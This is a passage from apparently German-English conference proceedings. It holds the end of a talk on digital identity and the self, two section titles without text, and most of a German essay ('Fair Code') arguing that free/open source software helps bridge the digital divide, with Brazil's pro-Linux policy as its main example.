is probably safe to say that individuals form at least part of their identity from their individualistic reactions to the identities formed for them by others. Another way in which digital technology is shaping our self- identity involves our social interaction with computer s and computer technology. It is becoming clearer in my opinion that people treat their computer as a social actor – that is, along the theoretical lines of George Herbert Mead they exchange meaningful social symbols with their compute rs and thus 139 | treat them as social actors. This means that the identity individuals create for themselves in some fashion shaped by the very digital technology they use, not just that digital technology is often a commu nications channel for content but that the computer itself is considered as contributing social content to the lives of people. In turn, the changes digital technologies bring about in your identity also affect how you interact with other people. These are interesting thoughts and it is difficult and too early to completely understa n d, in my opinion, what the full consequences of this may ultimately be for us as human beings. The Future of the Digital Individual We now know we have literally tens if not hundreds of digital identities out there in the world for each one of us – some of them constr ucted by us and some of them constructed by others. As more and more of our sense of self beings to come from these digital identities it suggests that we as human beings are becoming the ghosts in the machine . In the future our work and social lives, our intimate relationships, our perspective of the world, our complete identities may emanate from the digital realm. There is already the sense in a small way that meeting people face to face is a bit odd, especially for people like yourselves whose lives are deeply embedd ed in technology. Meeting someone face to face – that is, really meeting them for a purpo se - may someday be a very rare, unfamiliar and awkward event. We may begin to lose the ability to effectively commu nicate in a face to face world by losing the ability to interpret the verbal and non - verbal cues. Moreover, the growth in the number of digital identities associated with us as individuals may lead ultimately to the fragmentation of the self – the inability to formulate and retain an integrated sense of ourselves. This fragmen tation of our identity into so many different pieces is obviously going to have consequences both for our psychological well- being, and it is going to be interesting to see just how it affects our quality of life. There are also likely lessons to be learned here about identity and its relationship to informatio n security and digital identity management. It is clear that we are still in the very early stages of trying to develop identity management systems for security purposes. It is also clear that these identity manageme nt systems while complex from a technological stand p oin t are still quite primitive when compared to the complexities of how humans constr uct and manage their identities. Learning more about how people constr uct and manage identities may provide some valuable insights in the information security arena. This suggests that concepts like the “Seven Laws of Identity” 5 are an important advancement in digital identity manageme n t, there may indeed be a long way to go before we can apply some of the lessons to be learned. | 140 DIGITAL IDENTITY AND THE GHOST IN THE MACHINE For those of you who fear that the development and construction of digital identities by those other than yourself will lead to negative consequences both personally and for society, I would suggest that there is indeed hope in the fact that we can constr uct larger numbers and more complex digital identities and shed them faster than others can mine them for information when we constr uct alter ego digital identities of ourselves. Therefore as individuals we have a head - start in front of the giant jaws that represent organized efforts to collect, analyze and reconstr uct our digital identities. However, this does not mean that we should be complacent. Summary I hope that you have found, in this paper, an idea or two that stimulates your thinking about the dimensions of digital identity, the sense of self and the future of identity architecture. I’m Dr. Max Kilger – at least I think I’m Dr. Max Kilger – and thanks for listening. 1. For a more formal introduction to the theory and mathe ma tics of status evaluation see Berger, Joseph, M. Hamit Fisek, Robert Z. Norman, and Morris Zelditch. 1977. Status Characteristics and Social Interaction: An Expectation - States Approach . NY: Elsevier. 2. The Augmente d Social Network: Building identity and trust into the next - generation Internet by Ken Jordan, Jan Hauser, and Steven Foster, First Monday, volume 8, number 8 (August 2003). 3. Federated Identity Systems, Whitepaper, Eric Norlin and Andre Durand , PingID Network, Inc. 4. George Herbert Mead, Mind, Self, and Society . Chicago: University of Chicago Press, 1934 5. Kim Cameron, Laws of Identity, Microsoft Corporation, 2005. 141 | Entschwörungstheorie Verschwörungstheoretiker sind hinter mir her! Daniel Kulla 143 | | 144 ENTSCHWÖRUNGSTHEORIE 145 | | 146 ENTSCHWÖRUNGSTHEORIE 147 | Esperanto, die internationale Sprache Eine gut strukturierte Sprache für Geeks und die EU pallas 149 | | 150 ESPERANTO, DIE INTERNATIONALE SPRACHE 151 | | 152 ESPERANTO, DIE INTERNATIONALE SPRACHE 153 | | 154 Fair Code Free/Open Source Software and the Digital Divide Meike Richter 155 | MEIKE RICHTER FAIR CODE FREIE/OPEN SOURCE SOFTWARE UND DER DIGITAL DIVIDE Technology is neither good nor bad, nor is it neutral. Melvin Kranzberg Was hat Software mit nachhaltiger Entwicklungspolitik zu tun? Dieser Artikel definiert den Digital Divide und gibt einen Überblick über die verschiedenen Positionen innerhalb des Diskurses. Es wird herausgearbeitet, warum die Beschaffenheit des Programm-Codes in jüngster Zeit zu einem Politikum geworden ist. Die pro-Linux Politik von Brasilien wird vor diesem Hintergrund erklärt. Bei Software geht es nicht nur um Code, sondern um Rechte, Kontrolle, Sicherheit, Transparenz und Macht. 1. Einleitung „We are creating a world that all may enter without privilege or prejudice accorded by race, economic power, military force, or station of birth." 1 Dieses Zitat aus der „Unabhängigkeitserklärung des Cyberspace“ von 1996 illustriert die hochfliegenden Hoffnungen und gescheiterten Träume, die mit dem Internet verbunden sind. Not und Ungleichheiten herrschen im „Meatspace” – aber in digitalen Datenräumen sollte alles anders sein. Mehr noch, das Internet sollte helfen, mehr Gerechtigkeit in die Welt zu tragen. Diese Vision hat sich nicht erfüllt. Zugang zu Informations- und Kommunikationstechnologien (ICTs) ist ungleich verteilt. Je ärmer und ungebildeter jemand ist, desto unwahrscheinlicher ist es, dass dieser Mensch Zugang zum Internet hat.2 Der sogenannte Digital Divide hat seit Mitte der 1990er Jahre einen festen Platz auf der politischen Agenda. Mit der Überbrückung des digitalen Grabens ist der Anspruch verbunden, gleichzeitig wirtschaftliche, politische und soziale Entwicklung zu fördern. Diese Annahme speist sich aus dem Umstand, dass Zugang zu Information und Wissen, seine Generierung und Verbreitung, ein zentraler Machtfaktor in einer globalisierten, vernetzten Welt ist. Der Soziologe Manuel Castells beschreibt im ersten Band seiner Trilogie „Das Informationszeitalter: Ökonomie, Gesellschaft und Kultur“, wie sich unter Einfluss neuer Kommunikationstechnologien die alten Ordnungen der Industriegesellschaft transformieren.3 In der globalen „Netzwerk-Gesellschaft“ sind weniger materielle Güter, sondern Information und Wissen begehrte Handelsware, Wissenschaft und Technologie spielen eine tragende Rolle für ökonomisches Wachstum, und starre Hierarchien lösen sich zugunsten flexibler Netzwerk-Organisation auf. Castells Theorie basiert auf der Grundannahme, dass Technologie Gesellschaft massiv beeinflusst. Diese Umwälzungen geben dem Verhältnis zwischen armen und reichen Ländern eine neue Qualität. Netzwerke gehorchen einer binären Logik: Inklusion oder Exklusion. Die Verbreitung des Internets hat eine paradoxe Entwicklung in Gang gesetzt – die Welt vernetzt und spaltet sich zugleich. 1 2 3 | 156 Barlow, John Perry: A Declaration of the Independence of Cyberspace. http://homes.eff.org/~barlow/DeclarationFinal.html vom 08.02.1996 Vgl. UNCTAD: E-Commerce and Development Report 2004. New York/Geneva 2004 Castells, Manuel: The Rise of the Network Society. Second Edition. Oxford 2000 FAIR CODE 2. Von Digital Divide zu Social Inclusion Aus dem Digital Divide-Diskurs lassen sich drei Trends herauslesen. Die Optimisten behaupten, dass neue ICTs die Stimme der Entwicklungsländer und marginalisierten Gruppen stärken. Die Skeptiker geben zu bedenken, dass bloße Bereitstellung von Technologie keinen Wohlstand schafft. Die Pessimisten sind der Ansicht, dass das Internet die existierenden Ungleichheiten zwischen den (information) poor und den (information) rich noch verstärkt. Dabei gibt es nicht einen, sondern multiple Divides: Der globale Divide bezeichnet die Unterschiede im Internet-Zugang zwischen armen und reichen Nationen, der soziale Divide beschreibt den Graben zwischen On- und Offlinern innerhalb eines Landes. Es gibt einen Gender Divide, mehr Männer als Frauen surfen. Auch Sprachbarrieren, die den Gebrauch Internet-basierter Informationen unmöglich machen, sind Teil des Problems. 80 % aller Webseiten sind auf Englisch. Eine Sprache, die schätzungsweise nur einer von 10 Menschen weltweit versteht. Der demokratische Divide unterscheidet diejenigen, die ICTs benutzen, um ihre politischen Interessen durchzusetzen, von denen, die diese digitalen Ressourcen ungenutzt lassen.4 Auf einer praktischen Ebene sind das Fehlen einer IT-Infrastruktur und Mangel an angemessener Software, Elektrizität, Bandbreite und Computer-Skills sowie hohe Kosten für einen Internet-Anschluss zu nennen. Die ursprünglichen Konzepte, die sich überwiegend darauf beschränkt haben, bloßen physischen Zugang zu Computern und dem Internet zu ermöglichen, werden langsam modifiziert. Die Erkenntnis, dass die Versorgung der Unterprivilegierten mit Internet-Accounts das Problem der Armut kaum wird lösen können, hat dafür gesorgt, dass Faktoren wie Bildung und soziale Wirklichkeit langsam in Programme zur Überbrückung des Digital Divide integriert werden.5 „Social Inclusion“ heißt das neue Leitbild. In diesem Zusammenhang rückt auch die Frage der Software zunehmend in den Blickpunkt. 3. Freie/Open Source Software Die Welt der Freien/Open Source Software (FOSS)6 hat eine ganz eigene Kultur und Ökonomie, die sich von der proprietärer Software substanziell unterscheidet.7 Das ergibt sich aus ihren vier Haupt-Merkmalen, die durch spezielle Lizenzen festgelegt sind: 1. die Software darf ohne jede Einschränkung benutzt werden, 2. der Quellcode ist verfügbar, er darf verändert und es darf aus ihm gelernt werden, 3. die Software darf ohne Einschränkungen und ohne Zahlungsverpflichtungen kopiert und weitergegeben werden, 4. die Software darf verändert und in veränderter Form weitergegeben werden. Das dominante proprietäre Software-Modell, beispielsweise das Betriebssystem Windows von Microsoft, stellt den Quellcode nicht zur Verfügung und erzielt einen Großteil seiner Erlöse durch Lizenzverkauf. Quellcode ist die „DNA“ des Programmcodes, bestehend aus Textbefehlen, geschrieben in einer höheren Programmiersprache. Entwicklung und Anpassung von Software kann nur in dieser Rohform vorgenommen werden. GNU/Linux ist längst kein Spielzeug Technik-begeisterter Nerds mehr. Konzerne wie IBM oder Novell Suse und eine Vielzahl kleiner und mittlerer Unternehmen erwirtschaften mit diesem speziellen Code Profit. Dabei fusst das ökonomische Wertschöpfungsmodell nicht auf der Erhebung von Lizenzgebühren. Verdient wird mit Serviceleistungen um die Software herum. Der Firefox-Browser, Linux-basierte Betriebssysteme wie Debian oder das Office-Paket OpenOffice zählen zu den berühmtesten GNU/Linux-Stars. Weil bei FOSS der Bauplan frei zugänglich ist, eignet sich dieser spezielle Code besonders für den Einsatz in armen und ökono4 5 6 7 Norris, Pippa: Digital Divide: Civic Engagement, Information Poverty, and the Internet Worldwide. Cambridge 2001 Der Irrglaube, dass Technologie-Transfer automatisch Wohlstand schafft, hat eine lange Tradition. Vgl. z. B. Chatterji, Manas: Technology Transfer in the Developing Countries. London 1990 Dieser Text benutzt die Doppelung Freie/Open Source Software, da es keinen Konsens gibt, welcher Typ Software in welche Klassifikation gehört. Generell steht bei Freier Software der Community-Gedanke im Vordergrund. “Frei” im Sinne von Freiheit, nicht von Umsonst. Open Source gehört eher in die Welt der Unternehmen. Hier liegt der Schwerpunkt auf dem Entwicklungs- beziehungsweise Geschäftsmodell Vgl. Grassmuck, Volker: Freie Software. Zwischen Privat- und Gemeineigentum. Bonn 2002 und Himanen, Pekka: The Hacker Ethic and the Spirit of the Information Age. London 2001 157 | misch schlecht gestellten Ländern. Es ist fairer Code. 4. Geistige Eigentumsrechte und Software: der brasilianische Weg Das Land, das sich in den letzten Jahren um die explizite Förderung von FOSS verdient gemacht hat, ist Brasilien. Die Nation belegt Platz 10 auf der Rangliste der weltweit größten Volkswirtschaften. Dabei ist der Reichtum extrem ungleich verteilt. Nur 10 % der Bevölkerung kontrollieren die Hälfte des Reichtums, mehr als 20 % leben in extremer Armut. Begonnen hat die pro-Linux-Politik auf kommunaler und Bundesebene, seit dem Wahlsieg der Arbeiterpartei unter Präsident Luiz Inácio Lula da Silva gehört die Förderung von offenem Code zum Regierungsprogramm. Die Regierung hat erklärt, 80 % der neu anzuschaffenden Computer mit Open Source Software auszustatten. Auch die existierende öffentliche IT-Infrastruktur soll über kurz oder lang migrieren. Staatlich geförderte Software soll unter freien Lizenzen veröffentlicht werden. GNU/Linux ist Bestandteil nationaler Programme zur Überbrückung des Digital Divide. Dabei wird allein auf Empfehlung gehandelt. Bisher hat die entsprechende gesetzliche Grundlage es nicht durch das Parlament geschafft. Brasiliens pro-Linux Politik ist eng verknüpft mit den Auseinandersetzungen um geistige Eigentumsrechte. Entwicklungs- und Schwellenländer erklären seit Jahren, dass die existierenden Copyright-und Patentsysteme nicht zu ihrem Vorteil arbeiten, sondern die Interessen entwickelter Länder beziehungsweise der dort ansässigen Unternehmen reflektieren. Die ursprüngliche Idee hinter geistigem Eigentum ist einleuchtend: Erfinder und Kreative bekommen ein zeitlich befristetes Monopol auf ihre Erzeugnisse und können wegen Ausschaltung des Wettbewerbs hohe Preise verlangen. Obwohl die Ideen temporär nicht von anderen genutzt und weiterentwickelt werden dürfen und Folge-Innovationen sich somit verzögern, rechnet sich das Konzept. Denn der Staat schafft auf diesem Wege Anreize für Innovation. Kritiker sagen, dass die kontinuierliche Ausweitung geistiger Eigentumsrechte, etwa auf mathematische Algorithmen, Gene oder Pflanzen, das System pervertiert und Innovation verhindert. Nicht mehr die besten Ideen, sondern die teuersten Anwälte setzten sich durch. Im Falle von armen Ländern tritt das Problem verschärft zutage. Sie verfügen kaum über Patente und Copyrights und die Möglichkeiten, sie durchzusetzen.8 Eines der Hauptargumente der Brasilianer für Linux lautet, dass es ökonomisch sinnvoller ist, Staatsgelder für die Ausbildung lokaler Arbeitskräfte auszugeben, als die finanziellen Ressourcen ins Ausland zu transferieren, um dort Software-Lizenzen einzukaufen.9 Es ist kein Zufall, dass gerade die Brasilianer auf neue Konzepte betreffend geistiges Eigentum setzen. In den 1990ern waren sie die ersten, die ernsthaft gedroht haben, im öffentlichen Interesse Patente auf überteuerte AIDS-Medikamente zu verletzen. Und zwar unter einer konservativen Regierung. Zudem hat das Land eine sehr aktive, politisierte GNU/Linux-Szene. Die weltweit ersten mit Open Source betriebenen Bankautomaten haben Brasilianer entwickelt. Man darf die brasilianische Politik nicht als bloßes Armuts-Bekämpfungsprogramm abtun. Dahinter steht die Einsicht, dass kommerzieller und gesellschaftlicher Mehrwert ohne klassischen Schutz geistigen Eigentums geschaffen werden kann. Der wachsende wirtschaftliche Erfolg der Open Source Bewegung gibt den Südamerikanern recht. 5. GNU/Linux: Nachhaltige digitale Entwicklungspolitik 5.1.Skill-transfer GNU/Linux gibt interaktiven Zugang zu Wissen und Informatik der entwickeltsten Länder. Menschen aus 8 9 | 158 Stiglitz, Joseph E.: Intellectual Property Rights and Wrongs. http://www.dailytimes.com.pk/default.asp?page=story_16-8-2005_pg5_12 vom 16.8.2005 Emert, Monika/ Amadeu da Silveira, Sérgio: "Geisel einer proprietären Lösung." Brasilien forciert Open Source als Lösung für Entwicklungs- und Schwellenländer. Interview. In: c´t 02/2004, S. 44-47 FAIR CODE ökonomisch schlecht gestellten Regionen können sich mit sehr geringem Kostenaufwand lokal weiterbilden und neue Fähigkeiten erlernen. Philosophie und Mechanismen der FOSS-Community bedingen, dass aus Lernenden schnell Ausbilder werden. Die erworbenen Fähigkeiten können bei der Jobsuche oder für den Betrieb kleiner und mittlerer Unternehmen von Nutzen sein. Auch dem sogenannten Brain Drain10 wird entgegengewirkt. 5.2 Preis und Total Cost of Ownership In einem Land wie Vietnam beträgt der Preis eines proprietären Systems (Betriebssystem Windows XP und Office) rund 16 Monatsgehälter11, bei GNU/Linux fallen in der Regel nur die Distributionskosten an. Kritiker bemängeln, dass Einrichtung und Support kostspielig und schwer kalkulierbar seien. Das mag stimmen – doch in Entwicklungsländern ist Arbeitskraft kein hoher Kostenfaktor, vor allem aber kann die lokale Software-Industrie gestärkt werden. Im übrigen benötigt auch proprietäre Software Support. 5.3 Technologische Unabhängigkeit Ein Großteil proprietärer Software wird in den reichen Ländern entwickelt beziehungsweise von dort aus kontrolliert. Der bloße Import von Software festigt aber genau die Abhängigkeiten, von denen die Länder sich eigentlich befreien wollen. Software ist eher ein Prozess denn ein Produkt – um sie einsatzfähig zu halten, muss man sie kontinuierlich weiterentwickeln. Support, Updates und Upgrades kosten Geld. In der proprietären Welt ist es durchaus üblich, bei Markteinführung das Produkt unter Wert oder sogar umsonst abzugeben. Anfängliche Verluste werden später leicht ausgeglichen, denn der Kunde kann nicht einfach wechseln: seine Daten sind in das proprietäre System eingeschlossen. User sind gezwungen, hohe Preise für neue Versionen zahlen. Auch die immer populärer werdende Praxis, Lizenzen zeitlich zu befristen, verstärkt Abhängigkeiten. Im Rahmen technologischer Unabhängigkeit sind auch freie Standards, Protokolle und Formate wichtig. Offenheit begünstigt Wettbewerb, was im Interesse von Usern wie Unternehmen ist. Nur wenn offene Standards und Datenformate implementiert sind, kann Hardware erneuert werden, ohne dabei auf die Software Rücksicht zu nehmen. Auch kann man Software ersetzen, ohne die Daten zu verlieren oder neu formatieren zu müssen. (Natürlich kann auch proprietäre Software offene Standards und Protokolle benutzen, nur nehmen die Hersteller diese Option nicht oft wahr.) Von Vorteil ist auch, dass GNU/Linux auf alten Rechnern läuft. Proprietäre Betriebssysteme zielen auf die Auslastung der neuesten Prozessor-Generation und machen sie damit unbrauchbar für Besitzer leistungsschwacher IT-Infrastruktur. Firmen stellen den Support für ältere Betriebssysteme ein, das ist beispielsweise der Fall bei Windows 95, 98 oder 2000. Bei Freier/Open Source Software sind die Quellcodes zugänglich. Vorausgesetzt, es gibt entsprechend ausgebildete Spezialisten, kann das System so lange laufen, wie die Hardware funktioniert. Das kostspielige Hase-und-Igel-Rennen, wo die neueste Hardware nach neuester Software verlangt und umgekehrt, muss nicht gespielt werden. 5.4 Lokalisierung Auf der Welt gibt es schätzungsweise 6.500 Sprachen. Proprietäre Software wird aber nur hergestellt, wenn Aussicht auf Gewinn besteht. Anpassungen können wegen fehlendem Quellcode nicht vorgenommen werden. Ganz anders bei GNU/Linux. Die kambodschanische NGO „Khmer Software Initiative” beispielsweise produziert Software in Khmer, um ihren Landsleuten die Teilnahme am Informationszeitalter zu ermöglichen: “We believe that in order to enter a digital world without forfeiting its culture, a country must do it by using software in its own language. Software in a foreign language exacerbates the Digital Divide, makes basic 10 Brain Drain umschreibt das in armen und ökonomisch schlecht gestellten Ländern weiterverbreitete Problem, dass talentierte und gut ausgebildete Menschen, in diesem Fall Programmierer, ihre Heimatländer verlassen müssen, da sie keine Aussicht auf Arbeit oder Weiterbildung haben. 11 Ghosh, Rishab Aiyer: License fee and GDP per capita. In: i4d 10/ 2004. S. 18-20 159 | computer training difficult and expensive, closes computer-using jobs to people with little economic resources, impoverishes local culture, and blocks computer-based government processes, as the local language script cannot be used in databases.” 12 5.5 Digitales Vergessen Daten und Wissen (Firmware, Content aus Datenbanken und CMS-Systemen, oder jedes andere digitale Dokument) aus proprietären Systemen geht spätestens dann verloren, wenn die verantwortliche Firma den Support einstellt. Proprietäre Formate und Systeme erschweren die Konservierung digitaler Daten. Während Wissen in Form von Büchern oder Zeitschriften problemlos für lange Zeiträume in Museen oder Bibliotheken überdauert, stellen digitale Medien die Archivare vor ganz neue Herausforderungen. Digitale Publikationen gehen in sehr kurzer Zeit verloren. Gründe hierfür sind die kurze Lebensdauer digitaler Datenträger, schnelle Medien- und Systemwechsel, proprietäre Datenformate und restriktive Bestimmungen geistiger Eigentumsrechte. Offener Programmcode fördert die Langzeit-Archivierung digitaler Daten. In armen Ländern ist Zugang zu Wissen ein viel größeres Problem als in der entwickelten Welt. GNU/Linux steht in dem Ruf, sicherer und weniger anfällig für Viren, Trojaner und Würmer zu sein. Das liegt am Entwicklungsmodell. Sicherheitsrelevante Programmierfehler passieren, bei proprietärer wie bei nichtproprietärer Software. Bei GNU/Linux aber werden die Fehler schneller gefunden und behoben, denn viele Augen sehen mehr als wenige. Außerdem empfiehlt ihr transparenter Charakter sie besonders für eGovernment-Anwendungen. Proprietäre Software funktioniert wie eine Black Box. User können letztlich nicht nachvollziehen, ob die Hersteller dem Gebot der Unverletzlichkeit der Privatsphäre nachkommen. In diesem Zusammenhang ist die Debatte um „Trusted Computing“ wichtig. Freie Software ist demokratischer Code. 6. Warum spielt GNU/Linux in Entwicklungsländern nur eine marginalisierte Rolle? So viele beeindruckende Gründe, mit dem Pinguin und dem GNU zu arbeiten – warum findet dieser Lösungsansatz nur zögerlich Eingang in Programme zur Überbrückung des Digital Divide? Warum ist Brasiliens Position in dieser Angelegenheit ein vielbeachtetes Novum? Zwei offensichtliche Gründe: zum einen war Microsoft schon vorher da, und der riesige Nachteil proprietärer Software – die hohen Kosten – können leicht umgangen werden: mit raubkopierter Software. Doch dieser Weg verspricht keine nachhaltige Lösung. Abhängigkeiten werden schlicht fortgeschrieben. Und der Leitgedanke hinter den Bestrebungen zur Überbrückung des Digital Divide sollte nicht sein, Menschen kurzfristig Zugang zum Informationszeitalter zu verschaffen. Sondern ein Mittel, um das eigentliche Problem – Armut – zu bekämpfen. Und da verfügt freier Programmcode über unschlagbare Vorteile. Eine Vielzahl von Gründen erschwert den Einsatz von FOSS in armen und ökonomisch schlecht gestellten Ländern. Man darf auch nicht vergessen, dass das Internet seit kaum 10 Jahren ein Massenmedium ist. Das Problem des Digital Divide ist folglich noch jünger. Differenzierte Lösungsansätze müssen sich erst herausbilden, positive wie negative Erfahrungen aus der Praxis in Theorie und künftige Konzepte eingebracht werden. 6.1 Software-Politik als blinder Fleck Aktivisten, die in Entwicklungsländern Lobbyarbeit für freie Software machen, bekommen oft folgenden Satz zu hören: „Unsere Aufgabe lautet Armutsbekämpfung. Warum sollten wir da auf ein neues System migrieren?“ Politiker und NGOs sprechen viel vom Aufbau physischer IT-Infrastukur und davon, wie neue ICTs Entwicklung befördern könnten. Dass die Ausblendung der Software-Frage aber genau die Verhältnisse reproduziert, die doch eigentlich bekämpft werden sollen, wird erst in jüngster Zeit thematisiert. Es existiert wenig Bewusstsein, wie weitreichend Software die von Menschen initiierten Datenflüsse und damit 12 Khmer Software Initiative: Vision. Khmer OS, http://www.khmeros.info/drupal/?q=node/1 | 160 FAIR CODE menschliches Verhalten reguliert. Code is law, das berühmte Diktum von Stanford-Rechtsprofessor Lawrence Lessig,13 ist außerhalb von Technologie-affinen Kreisen wenig bekannt. Einer der Gründe, warum Software im Diskurs um den Digital Divide aus dem Blick fällt, ist ihr virtueller, technischer Charakter. Obwohl die weiche Ware als Schnittstelle zwischen Mensch und Maschine fungiert, wird sie nicht wahrgenommen. Zu diesem Gut baut man keine emotionale Beziehung auf, man gebraucht es nur. Ein Vergleich mit der Creative Commons-Bewegung macht diesen Sachverhalt deutlich. Creative Commons ist ein alternatives Copyright-System, das Urhebern wie Konsumenten eine flexible Ausübung ihrer Rechte ermöglicht. Creative Commons erfreut sich weltweit großer Popularität und hat geholfen, die „Open Access“-Bewegung voranzubringen. Stars wie die Beasty Boys setzen sich für Creative Commons ein. Dabei gibt es die Initiative erst seit 2001 – Richard Stallman hat die Free Software Foundation schon 1984 aus der Taufe gehoben. Kaum vorstellbar, dass die New Yorker HipHopper auch für freien Programmcode Werbung machen würden. Zu geistigen Produkten wie Musik oder Texten kann man, anders als bei Software, eine Beziehung entwickeln. Kunst berührt die Menschen. Jeder hat ein Musikstück, das er oder sie innig liebt, und das richtige Buch zur rechten Zeit kann ein Leben verändern. Über Software sprechen nur Nerds mit Hingabe. Es ist schwer vermittelbar, dass freier Quellcode ein wichtiger Baustein für nachhaltige Entwicklung ist. Software ist technologischer Natur. Im Gebrauch entfaltet sie soziale, politische und kulturelle Macht. Manuel Castells hat sie die „Sprache des Informationszeitalters“14 genannt. 6.2 Ökonomische und kulturelle Gründe Analoge und virtuelle Welt funktionieren nach verschiedenen Spielregeln. In digitalen Datenräumen wie dem Internet wird eine Grundbedingung der Ökonomie ausgehebelt: Es herrscht keine Knappheit. Die unter LinuxProgrammierern vorherrschende Kultur des freien Informationsflusses passt nicht in unser klassisches Werte-System, stellt es sogar in Frage. Im Kapitalismus hat alles einen Preis, und Gratis-Güter wie Software erregen Misstrauen. Wer Software verschenkt, erntet dafür (außerhalb von Programmierer-Kreisen) nicht etwa Respekt, sondern Unverständnis. Die Medienöffentlichkeit porträtiert Leitfiguren der Szene, wie GNUGründer Richard Stallman oder Linus Torvalds, Initiator von Linux, bestenfalls als Exoten, ernst nimmt man sie selten. Ganz anders bei Bill Gates. Der Microsoft-Gründer ist ein brillianter Geschäftsmann, und das hat ihn zu einer gefeierten Ikone der Wirtschaft gemacht. Aktivisten für freie Software verbringen einen Großteil ihrer Zeit mit Öffentlichkeitsarbeit. Vorurteile wollen abgebaut, Vertrauen muss geschaffen werden. Georg Greve, Präsident der Free Software Foundation Europe, erzählt die Anekdote, dass die Veranstalter eines internationalen Politik-Kongress einmal darauf bestanden, dass er als letzer seinen Vortrag hält. Man hatte Angst, dass seine GNU/Linux-Präsentation den Beamer kaputt macht. Das hinter FOSS stehende Organisations-Prinzip und seine Ökonomie und Philosophie klingen für Laien abenteuerlich: Individuen, in aller Welt verstreut, schreiben (oft unentgeltlich) gemeinsam Software, die oft besser ist als die proprietäre Konkurrenz. GNU/Linux kann sowohl kommerziell wie nicht-kommerziell sein, sie entsteht in losen Netzwerken, und obwohl in manchen Fällen Konzerne an der Entwicklung beteiligt sind, gibt es keine regulären Vorgesetzten. Erst langsam setzt sich die Erkenntnis durch, dass SoftwareProduktion, die auf Kooperation beruht, nur eine neue, dem Medium angepasste Möglichkeit des Wirtschaftens ist. Für viele ist es auch ein ethischer Lebensstil. Weil dieses Modell sich bewährt hat, macht es Schule. Das Human-Genom-Project etwa bedient sich ähnlicher netzwerkartiger Strukturen. Trotzdem steht diese Entwicklung erst am Anfang. Zudem ist die Kultur der Offenheit ein Erfolgsgeheimnis hinter dem Internet. Nur weil seine Protokolle offen 13 Lessig, Lawrence: Code and Other Laws of Cyberspace. New York 1999 14 Castells, Manuel: Innovación, Libertad y Poder en la era de la Información, http://www.softwarelivre.org/news/3635 vom 29.01.2005 161 | zugänglich waren, konnte Tim Berners-Lee sein World Wide Web entwerfen. Und nur weil er es ebenfalls öffentlich machte, trat es seinen weltweiten Siegeszug an. Firmen wie Individuen konnten sich den Quellcode von Webseiten ansehen, ihn kopieren, eigene Seiten erstellen und neue Geschäftsideen entwickeln.15 6.3 Zusammenarbeit der GNU/Linux-Bewegung mit NGOs und dem öffentlichen Sektor Die Zusammenarbeit zwischen der FOSS-Szene und zivilgesellschaftlichen Gruppen, die im Bereich Digital Divide arbeiten, steht erst am Anfang. Die Nachricht vom Dezember 2004, dass Microsoft und die UNESCO künftig kooperieren werden, hat kaum kritische Reaktionen verursacht. Eine Vielzahl von Gründen kompliziert den Austausch zwischen Hackern und professionellen Helfern. NGOs argumentieren oft, dass sie ihre Klientel auf proprietären Systemen trainieren müssen, da Linux-Systeme vor allem im Desktop-Bereich kaum verbreitet seien. Man könne nicht Computerskills vermitteln, die der lokale Arbeitsmarkt gar nicht nachfragt. Staatliche Initiativen und NGOs geraten nicht selten in einen Interessenkonflikt. Viele Programme des „Information and Communication for Development“-Feldes sind auf Sponsoren angewiesen, die Hardware, Software oder technische Berater stellen. Das kann die GNU/Linux Bewegung nicht in dem Umfang leisten wie die proprietäre Konkurrenz. Einer der großzügigsten Unterstützer für Programme zur Überbrückung des Digital Divide ist Microsoft. 2004 spendete der Konzern nach eigenen Angaben weltweit mehr als 47 Millionen US-Dollar plus Software-Lizenzen im Wert von 363 Millionen Dollar.16 Die mit einem Grundkapital von 28 Milliarden Dollar reichste Stiftung der Welt, die „Bill and Melinda Gates Foundation“17, engagiert sich hauptsächlich im medizinischen Bereich, fördert aber auch Technologie-Projekte, oft in Kooperation mit dem Microsoft-Konzern. Im Rahmen ihres Schwerpunkts „Bildung“ stattet die Stiftung öffentliche Bibliotheken armer Regionen mit ITInfrastruktur aus. Unter anderem hat sie als offizieller Partner der chilenischen Regierung das gesamte Bibliothekswesen des südamerikanischen Landes mit Internet-Access-Points versorgt.18 Solche PublicPrivate Partnerschaften lassen auch Menschen mit geringen finanziellen Mitteln am Informationszeitalter teilnehmen. Die Kehrseite der Medaille ist, dass auf diese Weise potentielle künftige Kunden an Windows gewöhnt und proprietäre Standards und Formate durchgesetzt werden. Derlei soziales Engagement nützt nicht zuletzt den ökonomischen Interessen der Spender – und die decken sich nicht unbedingt mit den Bedürfnissen der Bürger armer Länder. Brendan Luyt liefert in seinem Aufsatz „Who benefits from the Digital Divide?“19 eine lesenswerte kritische Analyse digitaler Entwicklungspolitik. Brasilianische Aktivisten für Freie Software berichten, dass Microsoft gezielt an NGOs herantritt und Unterstützung anbietet. Auch politische Entscheidungsträger, die mit einer Migration liebäugeln, können sich erhöhter Aufmerksamkeit der Microsoft-Lobbyisten sicher sein. Zudem ist auffällig, dass in Ländern, wo Linux Marktanteile gewinnt, kurze Zeit später eine verbilligte, abgespeckte Windows-Versionen erhältlich ist. Software ist ein Politikum geworden. Es wäre begrüßenswert, in Zukunft mehr Partnerschaften zwischen Open Source Firmen und Digital Divide-Initiativen zu sehen. 7. Freie/Open Source Software = Entwicklung und Wachstum? Bei aller berechtigter Euphorie – Linux ist kein Wundermittel. Es nützt wenig, arme Länder nur auf seine Existenz hinzuweisen. Gleichzeitig muss die Fähigkeit vermittelt werden, diesen speziellen Code auch zu beherrschen. Firmen und der öffentliche Sektor planen langfristig und sind auf kontinuierlichen Support angewiesen, den informelle freie Projekte nicht leisten können oder wollen. Debian etwa hat keine ServiceTelefonnummer. Nur wenn professionelle Linux-Firmen oder Spezialisten vor Ort sind, ist Support 15 van Schewick, Barbara: Architecture and Innovation. The Role of the End-to- End Argument in the original Internet. Unpublished Dissertation. Technische Universität Berlin 2004 16 http://www.microsoft.com/mscorp/citizenship/giving/ 17 Baier, Tina: Ein Manager für Afrika. Bill Gates betreibt mit seiner Stiftung Entwicklungshilfe wie ein Geschäft und investiert dabei mehr Geld als die WHO. In: Süddeutsche Zeitung vom 18. März 2005. S. 12. Nr. 64 18 http://www.gatesfoundation.org/Libraries/InternationalLibraryInitiatives/LibraryProjectChile/default.htm 19 Luyt, Brendan: Who benefits from the Digital Divide? http://www.firstmonday.org/issues/issue9_8/luyt/index.html First Monday, Band 9, Nummer 8 (August 2004) | 162 FAIR CODE gewährleistet, und nur dann wird sich dieser spezielle Code als Alternative zu proprietären Produkten durchsetzen. Schaffung von freier, offener IT-Infrastruktur ist ein langfristiger Prozess. Freie/Open Source Software steht immer noch in dem Ruf, Normal-User zu überfordern. Das hat seine Gründe. 